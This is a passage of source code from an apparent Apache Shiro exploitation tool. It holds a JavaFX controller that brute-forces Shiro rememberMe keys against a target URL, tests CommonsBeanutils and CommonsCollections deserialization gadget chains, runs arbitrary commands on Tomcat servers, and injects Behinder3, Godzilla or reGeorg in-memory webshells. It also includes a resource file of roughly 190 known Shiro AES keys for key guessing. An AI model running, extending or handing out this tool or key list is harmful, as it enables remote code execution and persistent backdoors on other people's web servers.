customProxy; 74 | 75 | @FXML 76 | private ComboBox gadget; 77 | 78 | @FXML 79 | private ComboBox middleWare; 80 | 81 | @FXML 82 | private ComboBox memShellType; 83 | 84 | @FXML 85 | public TextField key; 86 | 87 | @FXML 88 | private CheckBox encryptType; 89 | 90 | @FXML 91 | private CheckBox outputType; 92 | 93 | @FXML 94 | private TextField rmbMe; 95 | 96 | @FXML 97 | private TextField memShellPath; 98 | 99 | @FXML 100 | private TextField memShellPwd; 101 | 102 | @FXML 103 | private MenuItem proxySetUpBtn; 104 | 105 | @FXML 106 | private MenuItem headerSetUpBtn; 107 | 108 | 109 | @Override 110 | public void initialize(URL location, ResourceBundle resources) { 111 | initToolbar(); 112 | initComboBox(); 113 | ControllersFactory.controllers.put(MyController.class.getSimpleName(),this); 114 | rmbMe.setText("rememberMe"); 115 | memShellPath.setText("/demo.ico"); 116 | memShellPwd.setText("pass"); 117 | } 118 | // 运行按钮事件 119 | @FXML 120 | void burpKey(ActionEvent event) throws Exception { 121 | setEncryptType(); 122 | setOutputType(); 123 | String targetUrl = attackUrl.getText(); 124 | String method = httpMethod.getValue(); 125 | String contenttype = contentType.getValue(); 126 | String rememberMe = rmbMe.getText(); 127 | if (rememberMe.length() != 0){ 128 | ControllersFactory.paramsContext.put("rememberMe",rememberMe); 129 | } else { 130 | ControllersFactory.paramsContext.put("rememberMe","rememberMe"); 131 | } 132 | ControllersFactory.paramsContext.put("Method",method); 133 | ControllersFactory.paramsContext.put("ContentType",contenttype); 134 | ControllersFactory.paramsContext.put("PostParam",postParam.getText()); 135 | // 这样的话每按一次按钮都重新创建对象 136 | if (targetUrl.length() != 0){ 137 | this.shiroKeyBrute = new ShiroKeyBrute(); 138 | this.shiroKeyBrute.shiroDetect(targetUrl,method); 139 | } else { 140 | this.result.appendText("[!] URL地址为空\n"); 141 | } 142 | } 143 | 144 | public boolean checkKeyBurpSuccess() throws Exception{ 145 | String shiroKey = ControllersFactory.paramsContext.get("ShiroKey"); 146 | // 如果获取为空的话就先从框里面获取 147 | if (shiroKey != null){ 148 | return true; 149 | }else { 150 | shiroKey = this.key.getText(); 151 | if (shiroKey.length() == 0){ 152 | this.result.appendText("[!] 请先爆破Key或输入Key\n\n"); 153 | return false; 154 | } else { 155 | // 如果输入了 key 那么就添加进去 156 | ControllersFactory.paramsContext.put("ShiroKey",shiroKey); 157 | return true; 158 | } 159 | } 160 | } 161 | 162 | // 检测当前利用链 163 | @FXML 164 | void checkGadget(ActionEvent event) throws Exception{ 165 | // String shiroKey = ControllersFactory.paramsContext.get("ShiroKey"); 166 | // if (shiroKey == null){ 167 | // shiroKey = this.key.getText(); 168 | // } 169 | // if (shiroKey.length() == 0){ 170 | // this.result.appendText("[!] 请先爆破Key或输入Key\n\n"); 171 | // }else{ 172 | // setOutputType(); 173 | // setEncryptType(); 174 | // if (middleWare.getValue().equals("Tomcat")){ 175 | // String gadget = this.gadget.getValue(); 176 | // gadgetCheck = new GadgetCheck(); 177 | // flag = gadgetCheck.checkGadget(gadget); 178 | // // 利用成功的链存到successGadget里面 179 | // if (flag == true){ 180 | // ControllersFactory.successGadget.put(this.gadget.getValue(),Class.forName("payloads."+this.gadget.getValue())); 181 | // } 182 | // }else if (middleWare.getValue().equals("Weblogic")){ 183 | // this.result.appendText("Weblogic 还没做Orz"); 184 | // } 185 | // } 186 | boolean flag = false; 187 | if (checkKeyBurpSuccess()){ 188 | setOutputType(); 189 | setEncryptType(); 190 | if (middleWare.getValue().equals("Tomcat")){ 191 | String gadget = this.gadget.getValue(); 192 | String method = httpMethod.getValue(); 193 | gadgetCheck = new GadgetCheck(); 194 | // 检测利用链 195 | flag = gadgetCheck.tomcatCheckGadget(method,gadget); 196 | // 利用成功的链存到successGadget里面 197 | if (flag == true){ 198 | ControllersFactory.successGadget.put(this.gadget.getValue(),Class.forName("payloads."+this.gadget.getValue())); 199 | } 200 | }else if (middleWare.getValue().equals("Weblogic")){ 201 | this.result.appendText("Weblogic 还没做Orz"); 202 | } 203 | } 204 | } 205 | 206 | 207 | // 命令注入按钮 208 | @FXML 209 | void cmdExecute(ActionEvent event) throws Exception{ 210 | // 第一件事情就是校验key是否爆破成功 211 | if (checkKeyBurpSuccess()){ 212 | setOutputType(); // 是否输出 213 | setEncryptType(); // 加密模式 214 | String gadget = this.gadget.getValue(); // 获取选择的 gadget 215 | String cmd = this.command.getText(); // 获取命令 216 | String midware = this.middleWare.getValue(); // 获取中间件类型 217 | if (midware.equals("Tomcat")){ 218 | commandExecute = new CommandExecute(); 219 | commandExecute.tomcatCommandExecute(gadget,cmd); 220 | }else if (midware.equals("Weblogic")){ 221 | this.result.appendText("[!] Weblogic 还没做Orz\n"); 222 | } 223 | } 224 | } 225 | 226 | // 内存马注入按钮事件 227 | @FXML 228 | void memShellInject(ActionEvent event) throws Exception{ 229 | /** 230 | * 首先检查 shirokey 是否存在上下文中 231 | * 检查 successgadget 中是否有可利用的利用链 232 | * 这里需要两个上下文 233 | * 一个是用来存储内存马中的 loader 加载器 rememberMe 234 | * 第二个用来存储 内存马中 post 发送的内容 235 | */ 236 | if (checkKeyBurpSuccess()){ 237 | setOutputType(); 238 | setEncryptType(); 239 | String gadget = this.gadget.getValue(); // 先获取选择的 gadget 240 | Class gadgetClass = ControllersFactory.successGadget.get(gadget); // 根据选中的gadget去检测成功的里面进行获取 241 | if (gadgetClass != null){ 242 | String midware = this.middleWare.getValue(); // 获取中间件名字 243 | String memShellType = this.memShellType.getValue(); // 获取内存马类型 冰蝎/哥斯拉/reg 244 | ControllersFactory.paramsContext.put("Path",memShellPath.getText()); // 将 gui 获取的路径存到上下文里面去 245 | String password = memShellPwd.getText(); // 获取密码 246 | if (midware.equals("Tomcat")){ // 中间件类型 247 | memInject = new MemInject(); 248 | memInject.baseInject(gadget,memShellType,password); // 三种内存马类型 249 | } else if (midware.equals("Weblogic")){ // 中间件类型 250 | this.result.appendText("Weblogic 还没做Orz"); 251 | } 252 | 253 | }else { 254 | this.result.appendText("[!] 请先获取或检测对应的利用链\n"); 255 | } 256 | } 257 | 258 | 259 | // if (shiroKey.length() == 0){ 260 | // this.result.appendText("[!] 请先爆破Key或输入Key\n\n"); 261 | // } else { 262 | // String gadget = this.gadget.getValue(); 263 | // Class gadgetClass = ControllersFactory.successGadget.get(gadget); 264 | // if (gadgetClass != null){ 265 | // // 获取到可以利用的利用链,获取到了 shirokey,获取到了对应到中间件 266 | // String midware = this.middleWare.getValue(); 267 | // String memShellType = this.memShellType.getValue(); // 内存马类型 268 | // ControllersFactory.paramsContext.put("Path",memShellPath.getText()); 269 | //// ControllersFactory.paramsContext.put("Password",memShellPwd.getText()); 270 | // String password = memShellPwd.getText(); 271 | // if (midware.equals("Tomcat")){ 272 | // memInject = new MemInject(); 273 | // // 注入的话是需要获取 path 密码 以及当前的内存马类型 274 | // // 传入当前选择的 gadget 和 内存马类型 275 | // memInject.baseInject(gadget,memShellType,password); 276 | // 277 | // } else if (midware.equals("Weblogic")){ 278 | // this.result.appendText("Weblogic 还没做Orz"); 279 | // } 280 | // 281 | // }else { 282 | // this.result.appendText("[!] 请先获取或检测对应的利用链\n"); 283 | // } 284 | // } 285 | 286 | } 287 | 288 | 289 | // 下拉控件初始化 290 | private void initComboBox(){ 291 | ObservableList methods = FXCollections.observableArrayList("GET", "POST"); 292 | httpMethod.setPromptText("GET"); 293 | httpMethod.setValue("GET"); 294 | // 设置combobox 的属性 295 | httpMethod.setItems(methods); 296 | 297 | httpMethod.setOnAction(event ->{ 298 | if (httpMethod.getValue().equals("POST")){ 299 | contentType.setDisable(false); 300 | postParam.setDisable(false); 301 | } 302 | 303 | if (httpMethod.getValue().equals("GET")){ 304 | contentType.setDisable(true); 305 | postParam.setDisable(true); 306 | } 307 | } 308 | ); 309 | 310 | ObservableList contentTypes = FXCollections.observableArrayList("application/x-www-form-urlencoded", "application/json","application/xml"); 311 | contentType.setPromptText("application/x-www-form-urlencoded"); 312 | contentType.setValue("application/x-www-form-urlencoded"); 313 | contentType.setItems(contentTypes); 314 | 315 | ObservableList gadgets = FXCollections.observableArrayList("CommonsBeanutils1_183","CommonsCollectionsK1","CommonsCollections11","CommonsBeanutils1"); 316 | gadget.setPromptText("CommonsBeanutils1_183"); 317 | gadget.setValue("CommonsBeanutils1_183"); 318 | gadget.setItems(gadgets); 319 | 320 | ObservableList middleWares = FXCollections.observableArrayList("Tomcat", "Weblogic"); 321 | middleWare.setPromptText("Tomcat"); 322 | middleWare.setValue("Tomcat"); 323 | middleWare.setItems(middleWares); 324 | 325 | // 内存马类型初始化 326 | ObservableList memShellTypes = FXCollections.observableArrayList("Behinder3", "Godzilla","reGeorg"); 327 | memShellType.setPromptText("Behinder3"); 328 | memShellType.setValue("Behinder3"); 329 | memShellType.setItems(memShellTypes); 330 | 331 | contentType.setDisable(true); 332 | postParam.setDisable(true); 333 | } 334 | 335 | // public void setProxy() throws Exception{ 336 | // String proxy = customProxy.getText(); 337 | // if (proxy != null){ 338 | // ControllersFactory.paramsContext.put("MyProxy",proxy); 339 | // } 340 | // } 341 | 342 | private void setEncryptType() throws Exception{ 343 | if (encryptType.isSelected()){ 344 | ControllersFactory.paramsContext.put("Encrypt","GCM"); 345 | } else { 346 | ControllersFactory.paramsContext.put("Encrypt","CBC"); 347 | } 348 | } 349 | 350 | private void setOutputType() throws Exception{ 351 | if (outputType.isSelected()){ 352 | ControllersFactory.paramsContext.put("OutputType","1"); 353 | }else { 354 | ControllersFactory.paramsContext.put("OutputType","0"); 355 | } 356 | } 357 | 358 | public void initAttack(){ 359 | String targetUrl = attackUrl.getText(); 360 | } 361 | 362 | private void initToolbar() { 363 | this.proxySetUpBtn.setOnAction(event -> { 364 | Alert inputDialog = new Alert(Alert.AlertType.NONE); 365 | inputDialog.setResizable(true); 366 | Window window = inputDialog.getDialogPane().getScene().getWindow(); 367 | window.setOnCloseRequest(((e) -> { 368 | window.hide(); 369 | })); 370 | ToggleGroup statusGroup = new ToggleGroup(); 371 | RadioButton enableRadio = new RadioButton("启用"); 372 | RadioButton disableRadio = new RadioButton("禁用"); 373 | 374 | enableRadio.setToggleGroup(statusGroup); 375 | disableRadio.setToggleGroup(statusGroup); 376 | 377 | HBox statusHbox = new HBox(); 378 | statusHbox.setSpacing(10.0D); 379 | statusHbox.getChildren().add(enableRadio); 380 | statusHbox.getChildren().add(disableRadio); 381 | GridPane proxyGridPane = new GridPane(); 382 | proxyGridPane.setVgap(15.0D); 383 | proxyGridPane.setPadding(new Insets(20.0D, 20.0D, 0.0D, 10.0D)); 384 | Label typeLabel = new Label("类型"); 385 | ComboBox typeCombo = new ComboBox(); 386 | typeCombo.setItems(FXCollections.observableArrayList("HTTP", "SOCKS" )); 387 | typeCombo.getSelectionModel().select(0); 388 | // HTTP SOCKS 选择 389 | if (typeCombo.equals("HTTP")){ 390 | typeCombo.getSelectionModel().select(0); 391 | }else if (typeCombo.equals("SOCKS")){ 392 | typeCombo.getSelectionModel().select(1); 393 | } 394 | 395 | Label IPLabel = new Label("IP地址"); 396 | TextField IPText = new TextField(); 397 | Label PortLabel = new Label("端口"); 398 | TextField PortText = new TextField(); 399 | Label userNameLabel = new Label("用户名"); 400 | TextField userNameText = new TextField(); 401 | Label passwordLabel = new Label("密码"); 402 | TextField passwordText = new TextField(); 403 | Button cancelBtn = new Button("取消"); 404 | Button saveBtn = new Button("保存"); 405 | saveBtn.setDefaultButton(true); 406 | 407 | if (ControllersFactory.currentProxy.get("Proxy") != null) { 408 | Proxy currProxy = (Proxy)ControllersFactory.currentProxy.get("Proxy"); 409 | String proxyInfo = currProxy.address().toString(); 410 | String[] info = proxyInfo.split(":"); 411 | String hisIpAddress = info[0].replace("/", ""); 412 | String hisPort = info[1]; 413 | IPText.setText(hisIpAddress); 414 | PortText.setText(hisPort); 415 | 416 | String username = ControllersFactory.paramsContext.get("username"); 417 | String password = ControllersFactory.paramsContext.get("password"); 418 | if (username != null && password != null){ 419 | userNameText.setText(username); 420 | passwordText.setText(password); 421 | } 422 | enableRadio.setSelected(true); 423 | } else { 424 | // 禁用 425 | enableRadio.setSelected(false); 426 | disableRadio.setSelected(true); 427 | } 428 | 429 | // 身份验证没有做测试 430 | saveBtn.setOnAction((e -> { 431 | if(enableRadio.isSelected()){ 432 | String type = typeCombo.getValue().toString(); 433 | // 进行身份验证(暂未进行验证 434 | if (!userNameText.getText().trim().equals("")) { 435 | String password = passwordText.getText(); 436 | ControllersFactory.paramsContext.put("username", userNameText.getText().trim()); 437 | ControllersFactory.paramsContext.put("password", password); 438 | final String proxyUser = userNameText.getText().trim(); 439 | Authenticator.setDefault(new Authenticator() { 440 | public PasswordAuthentication getPasswordAuthentication() { 441 | return new PasswordAuthentication(proxyUser, password.toCharArray()); 442 | } 443 | }); 444 | } else { 445 | Authenticator.setDefault((Authenticator)null); 446 | } 447 | 448 | 449 | if (type.equals("HTTP")){ 450 | CommonUtils.addHttpProxy(IPText.getText(), Integer.parseInt(PortText.getText())); 451 | }else if (type.equals("SOCKS")){ 452 | CommonUtils.addSocksProxy(IPText.getText(), Integer.parseInt(PortText.getText())); 453 | } 454 | }else { 455 | CommonUtils.clearCurrentProxy(); 456 | } 457 | inputDialog.getDialogPane().getScene().getWindow().hide(); 458 | })); 459 | 460 | // 取消按钮 461 | cancelBtn.setOnAction((e -> { 462 | inputDialog.getDialogPane().getScene().getWindow().hide(); 463 | })); 464 | 465 | proxyGridPane.add((Node)statusHbox, 1, 0); 466 | proxyGridPane.add((Node)typeLabel, 0, 1); 467 | proxyGridPane.add((Node)typeCombo, 1, 1); 468 | proxyGridPane.add((Node)IPLabel, 0, 2); 469 | proxyGridPane.add((Node)IPText, 1, 2); 470 | proxyGridPane.add((Node)PortLabel, 0, 3); 471 | proxyGridPane.add((Node)PortText, 1, 3); 472 | proxyGridPane.add((Node)userNameLabel, 0, 4); 473 | proxyGridPane.add((Node)userNameText, 1, 4); 474 | proxyGridPane.add((Node)passwordLabel, 0, 5); 475 | proxyGridPane.add((Node)passwordText, 1, 5); 476 | // 添加按钮事件 477 | HBox buttonBox = new HBox(); 478 | buttonBox.setSpacing(20.0D); 479 | buttonBox.setAlignment(Pos.CENTER); 480 | buttonBox.getChildren().add(cancelBtn); 481 | buttonBox.getChildren().add(saveBtn); 482 | GridPane.setColumnSpan((Node)buttonBox, Integer.valueOf(2)); 483 | proxyGridPane.add((Node)buttonBox, 0, 6); 484 | inputDialog.getDialogPane().setContent((Node)proxyGridPane); 485 | inputDialog.showAndWait(); 486 | }); 487 | 488 | 489 | // 自定义header头设置 490 | this.headerSetUpBtn.setOnAction(event -> { 491 | Alert alert = new Alert(Alert.AlertType.NONE); 492 | alert.setResizable(true); 493 | Window window = alert.getDialogPane().getScene().getWindow(); 494 | window.setOnCloseRequest(((e) -> { 495 | window.hide(); 496 | })); 497 | TextArea customHeader = new TextArea(); 498 | Button saveBtn = new Button("保存"); 499 | saveBtn.setDefaultButton(true); 500 | Button cancelBtn = new Button("取消"); 501 | GridPane vpsInfoPane = new GridPane(); 502 | GridPane.setMargin(vpsInfoPane, new Insets(20.0D, 0.0D, 0.0D, 0.0D)); 503 | vpsInfoPane.setVgap(10.0D); 504 | vpsInfoPane.setMaxWidth(Double.MAX_VALUE); 505 | 506 | // 如果用户输入了的话 507 | // 先从pagecontext 里面获取 .. 508 | // 存一个特征标志到paramContext 里面吧 509 | // 说明已经设置了用户头 510 | if (ControllersFactory.paramsContext.get("CustomHeader")!=null){ 511 | // 从hashmap中输出存储的header 512 | for (Map.Entry entry:ControllersFactory.currentHeader.entrySet()){ 513 | customHeader.appendText(entry.getKey() + ":" + entry.getValue() + "\n"); 514 | } 515 | } 516 | 517 | saveBtn.setOnAction(e -> { 518 | // 如果不为空的话就把内容存到上下文里面去,同时为空 519 | if (!customHeader.getText().trim().equals("")){ 520 | // ControllersFactory.currentHeader.put() 521 | for (String line:customHeader.getText().trim().split("\n")){ 522 | int index = line.indexOf(":"); 523 | String key = line.substring(0, index).trim(); 524 | String value = line.substring(index+1).trim(); 525 | ControllersFactory.currentHeader.put(key,value); 526 | } 527 | ControllersFactory.paramsContext.put("CustomHeader","Success"); 528 | }else { 529 | ControllersFactory.paramsContext.put("CustomHeader",null); 530 | } 531 | alert.getDialogPane().getScene().getWindow().hide(); 532 | }); 533 | 534 | cancelBtn.setOnAction(e -> { 535 | alert.getDialogPane().getScene().getWindow().hide(); 536 | }); 537 | vpsInfoPane.add(new Label("自定义请求头:"), 0, 4); 538 | vpsInfoPane.add(customHeader, 1, 4); 539 | HBox buttonBox = new HBox(); 540 | buttonBox.setSpacing(20.0D); 541 | buttonBox.getChildren().addAll(new Node[]{cancelBtn, saveBtn}); 542 | buttonBox.setAlignment(Pos.BOTTOM_CENTER); 543 | vpsInfoPane.add(buttonBox, 0, 8); 544 | GridPane.setColumnSpan(buttonBox, 2); 545 | alert.getDialogPane().setContent(vpsInfoPane); 546 | alert.showAndWait(); 547 | }); 548 | } 549 | 550 | } 551 | -------------------------------------------------------------------------------- /src/main/resources/ShiroKeys.txt: -------------------------------------------------------------------------------- 1 | kPH+bIxk5D2deZiIxcaaaA== 2 | 2AvVhdsgUs0FSA3SDFAdag== 3 | 3AvVhmFLUs0KTA3Kprsdag== 4 | 4AvVhmFLUs0KTA3Kprsdag== 5 | 5aaC5qKm5oqA5pyvAAAAAA== 6 | 6ZmI6I2j5Y+R5aSn5ZOlAA== 7 | bWljcm9zAAAAAAAAAAAAAA== 8 | wGiHplamyXlVB11UXWol8g== 9 | Z3VucwAAAAAAAAAAAAAAAA== 10 | MTIzNDU2Nzg5MGFiY2RlZg== 11 | zSyK5Kp6PZAAjlT+eeNMlg== 12 | U3ByaW5nQmxhZGUAAAAAAA== 13 | 5AvVhmFLUs0KTA3Kprsdag== 14 | bXdrXl9eNjY2KjA3Z2otPQ== 15 | fCq+/xW488hMTCD+cmJ3aQ== 16 | 1QWLxg+NYmxraMoxAXu/Iw== 17 | ZUdsaGJuSmxibVI2ZHc9PQ== 18 | L7RioUULEFhRyxM7a2R/Yg== 19 | r0e3c16IdVkouZgk1TKVMg== 20 | bWluZS1hc3NldC1rZXk6QQ== 21 | a2VlcE9uR29pbmdBbmRGaQ== 22 | WcfHGU25gNnTxTlmJMeSpw== 23 | ZAvph3dsQs0FSL3SDFAdag== 24 | tiVV6g3uZBGfgshesAQbjA== 25 | cmVtZW1iZXJNZQAAAAAAAA== 26 | ZnJlc2h6Y24xMjM0NTY3OA== 27 | RVZBTk5JR0hUTFlfV0FPVQ== 28 | WkhBTkdYSUFPSEVJX0NBVA== 29 | GsHaWo4m1eNbE0kNSMULhg== 30 | l8cc6d2xpkT1yFtLIcLHCg== 31 | KU471rVNQ6k7PQL4SqxgJg== 32 | 0AvVhmFLUs0KTA3Kprsdag== 33 | 1AvVhdsgUs0FSA3SDFAdag== 34 | 25BsmdYwjnfcWmnhAciDDg== 35 | 3JvYhmBLUs0ETA5Kprsdag== 36 | 6AvVhmFLUs0KTA3Kprsdag== 37 | 6NfXkC7YVCV5DASIrEm1Rg== 38 | 7AvVhmFLUs0KTA3Kprsdag== 39 | 8AvVhmFLUs0KTA3Kprsdag== 40 | 8BvVhmFLUs0KTA3Kprsdag== 41 | 9AvVhmFLUs0KTA3Kprsdag== 42 | OUHYQzxQ/W9e/UjiAGu6rg== 43 | a3dvbmcAAAAAAAAAAAAAAA== 44 | aU1pcmFjbGVpTWlyYWNsZQ== 45 | bXRvbnMAAAAAAAAAAAAAAA== 46 | OY//C4rhfwNxCQAQCrQQ1Q== 47 | 5J7bIJIV0LQSN3c9LPitBQ== 48 | f/SY5TIve5WWzT4aQlABJA== 49 | bya2HkYo57u6fWh5theAWw== 50 | WuB+y2gcHRnY2Lg9+Aqmqg== 51 | 3qDVdLawoIr1xFd6ietnwg== 52 | YI1+nBV//m7ELrIyDHm6DQ== 53 | 6Zm+6I2j5Y+R5aS+5ZOlAA== 54 | 2A2V+RFLUs+eTA3Kpr+dag== 55 | 6ZmI6I2j3Y+R1aSn5BOlAA== 56 | SkZpbmFsQmxhZGUAAAAAAA== 57 | 2cVtiE83c4lIrELJwKGJUw== 58 | fsHspZw/92PrS3XrPW+vxw== 59 | XTx6CKLo/SdSgub+OPHSrw== 60 | sHdIjUN6tzhl8xZMG3ULCQ== 61 | O4pdf+7e+mZe8NyxMTPJmQ== 62 | HWrBltGvEZc14h9VpMvZWw== 63 | rPNqM6uKFCyaL10AK51UkQ== 64 | Y1JxNSPXVwMkyvES/kJGeQ== 65 | lT2UvDUmQwewm6mMoiw4Ig== 66 | MPdCMZ9urzEA50JDlDYYDg== 67 | xVmmoltfpb8tTceuT5R7Bw== 68 | c+3hFGPjbgzGdrC+MHgoRQ== 69 | ClLk69oNcA3m+s0jIMIkpg== 70 | Bf7MfkNR0axGGptozrebag== 71 | 1tC/xrDYs8ey+sa3emtiYw== 72 | ZmFsYWRvLnh5ei5zaGlybw== 73 | cGhyYWNrY3RmREUhfiMkZA== 74 | IduElDUpDDXE677ZkhhKnQ== 75 | yeAAo1E8BOeAYfBlm4NG9Q== 76 | cGljYXMAAAAAAAAAAAAAAA== 77 | 2itfW92XazYRi5ltW0M2yA== 78 | XgGkgqGqYrix9lI6vxcrRw== 79 | ertVhmFLUs0KTA3Kprsdag== 80 | 5AvVhmFLUS0ATA4Kprsdag== 81 | s0KTA3mFLUprK4AvVhsdag== 82 | hBlzKg78ajaZuTE0VLzDDg== 83 | 9FvVhtFLUs0KnA3Kprsdyg== 84 | d2ViUmVtZW1iZXJNZUtleQ== 85 | yNeUgSzL/CfiWw1GALg6Ag== 86 | NGk/3cQ6F5/UNPRh8LpMIg== 87 | 4BvVhmFLUs0KTA3Kprsdag== 88 | MzVeSkYyWTI2OFVLZjRzZg== 89 | empodDEyMwAAAAAAAAAAAA== 90 | A7UzJgh1+EWj5oBFi+mSgw== 91 | c2hpcm9fYmF0aXMzMgAAAA== 92 | i45FVt72K2kLgvFrJtoZRw== 93 | U3BAbW5nQmxhZGUAAAAAAA== 94 | Jt3C93kMR9D5e8QzwfsiMw== 95 | MTIzNDU2NzgxMjM0NTY3OA== 96 | vXP33AonIp9bFwGl7aT7rA== 97 | V2hhdCBUaGUgSGVsbAAAAA== 98 | Q01TX0JGTFlLRVlfMjAxOQ== 99 | Is9zJ3pzNh2cgTHB4ua3+Q== 100 | NsZXjXVklWPZwOfkvk6kUA== 101 | GAevYnznvgNCURavBhCr1w== 102 | 66v1O8keKNV3TTcGPK1wzg== 103 | SDKOLKn2J1j/2BHjeZwAoQ== 104 | kPH+bIxk5D2deZiIxcabaA== 105 | kPH+bIxk5D2deZiIxcacaA== 106 | 3AvVhdAgUs0FSA4SDFAdBg== 107 | 4AvVhdsgUs0F563SDFAdag== 108 | FL9HL9Yu5bVUJ0PDU1ySvg== 109 | 5RC7uBZLkByfFfJm22q/Zw== 110 | eXNmAAAAAAAAAAAAAAAAAA== 111 | fdCEiK9YvLC668sS43CJ6A== 112 | FJoQCiz0z5XWz2N2LyxNww== 113 | HeUZ/LvgkO7nsa18ZyVxWQ== 114 | HoTP07fJPKIRLOWoVXmv+Q== 115 | iycgIIyCatQofd0XXxbzEg== 116 | m0/5ZZ9L4jjQXn7MREr/bw== 117 | NoIw91X9GSiCrLCF03ZGZw== 118 | oPH+bIxk5E2enZiIxcqaaA== 119 | QAk0rp8sG0uJC4Ke2baYNA== 120 | Rb5RN+LofDWJlzWAwsXzxg== 121 | s2SE9y32PvLeYo+VGFpcKA== 122 | SrpFBcVD89eTQ2icOD0TMg== 123 | U0hGX2d1bnMAAAAAAAAAAA== 124 | Us0KvVhTeasAm43KFLAeng== 125 | Ymx1ZXdoYWxlAAAAAAAAAA== 126 | YWJjZGRjYmFhYmNkZGNiYQ== 127 | zIiHplamyXlVB11UXWol8g== 128 | ZjQyMTJiNTJhZGZmYjFjMQ== 129 | HOlg7NHb9potm0n5s4ic0Q== 130 | 2AvVhdsgUs0FSA3SaFAdfg== 131 | 4rvVhmFLUs0KAT3Kprsdag== 132 | AF05JAuyuEB1ouJQ9Y9Phg== 133 | UGlzMjAxNiVLeUVlXiEjLw== 134 | 2AvVhdsgERdsSA3SDFAdag== 135 | QF5HMyZAWDZYRyFnSGhTdQ== 136 | 8AvVhdsgUs0FSA3SDFAdag== 137 | 4AvVhmFLUs5KTA1Kprsdag== 138 | 4WCZSJyqdUQsije93aQIRg== 139 | 3rvVhmFLUs0KAT3Kprsdag== 140 | b2EAAAAAAAAAAAAAAAAAAA== 141 | 3AvVhMFLIs0KTA3Kprsdag== 142 | 4AvVhm2LUs0KTA3Kprsdag== 143 | kPv59vyqzj00x11LXJZTjJ2UHW48jzHN 144 | 2AvVCXsxUs0FSA7SYFjdQg== 145 | Cj6LnKZNLEowAZrdqyH/Ew== 146 | 3qDVdLawoIr1xFd6ietnsg== 147 | 2AvVhdsgUsOFSA3SDFAdag== 148 | FP7qKJzdJOGkzoQzo2wTmA== 149 | wyLZMDifwq3sW1vhhHpgKA== 150 | 5AvVhCsgUs0FSA3SDFAdag== 151 | pbnA+Qzen1vjV3rNqQBLHg== 152 | GhrF5zLfq1Dtadd1jlohhA== 153 | 2AvVhmFLUs0KTA3Kprsdag== 154 | mIccZhQt6EBHrZIyw1FAXQ== 155 | 4AvVhmFLUs0KTA3Kprseaf== 156 | GHxH6G3LFh8Zb3NwoRgfFA== 157 | B9rPF8FHhxKJZ9k63ik7kQ== 158 | 3AvVhmFLUs0KTA3KaTHGFg== 159 | M2djA70UBBUPDibGZBRvrA== 160 | QDFCnfkLUs0KTA3Kprsdag== 161 | 2adsfasdqerqerqewradsf== 162 | 3Av2hmFLAs0BTA3Kprsd6E== 163 | 4AvVhmFLUsOKTA3Kprsdag== 164 | Z3VucwACAOVAKALACAADSA== 165 | 4AvVhmFLUs0KTA3KAAAAAA== 166 | sBv2t3okbdm3U0r2EVcSzB== 167 | 5oiR5piv5p2h5ZK46bG8IQ== 168 | TGMPe7lGO/Gbr38QiJu1/w== 169 | 4AvVhmFLUs0TTA3Kprsdag== 170 | YWdlbnRAZG1AMjAxOHN3Zg== 171 | Z3VucwAAAAAAAAAAAAABBB== 172 | AztiX2RUqhc7dhOzl1Mj8Q== 173 | FjbNm1avvGmWE9CY2HqV75== 174 | QVN1bm5uJ3MgU3Vuc2l0ZQ== 175 | 9Ami6v2G5Y+r5aPnE4OlBB== 176 | 2AvVidsaUSofSA3SDFAdog== 177 | 3AvVhdAgUs1FSA4SDFAdBg== 178 | R29yZG9uV2ViAAAAAAAAAA== 179 | wrjUh2ttBPQLnT4JVhriug== 180 | w793pPq5ZVBKkj8OhV4KaQ== 181 | c2hvdWtlLXBsdXMuMjAxNg== 182 | pyyX1c5x2f0LZZ7VKZXjKO== 183 | duhfin37x6chw29jsne45m== 184 | QUxQSEFNWVNPRlRCVUlMRA== 185 | YVd4dmRtVjViM1UlM0QIdn== 186 | YnlhdnMAAAAAAAAAAAAAAA== 187 | YystomRZLMUjiK0Q1+LFdw== 188 | fCq+/xW488hMTCE+cmJ3FF== 189 | 2AvVhdsgUs0FSA3SDFAder== 190 | A+kWR7o9O0/G/W6aOGesRA== 191 | sgIQrqUVxa1OZRRIK3hLZw== -------------------------------------------------------------------------------- /src/main/resources/detect.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bravery9/ShiroExploit/eb8da5040d48beeb3e9e7c4d015629996cd534b6/src/main/resources/detect.txt -------------------------------------------------------------------------------- /src/main/resources/sample.fxml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 |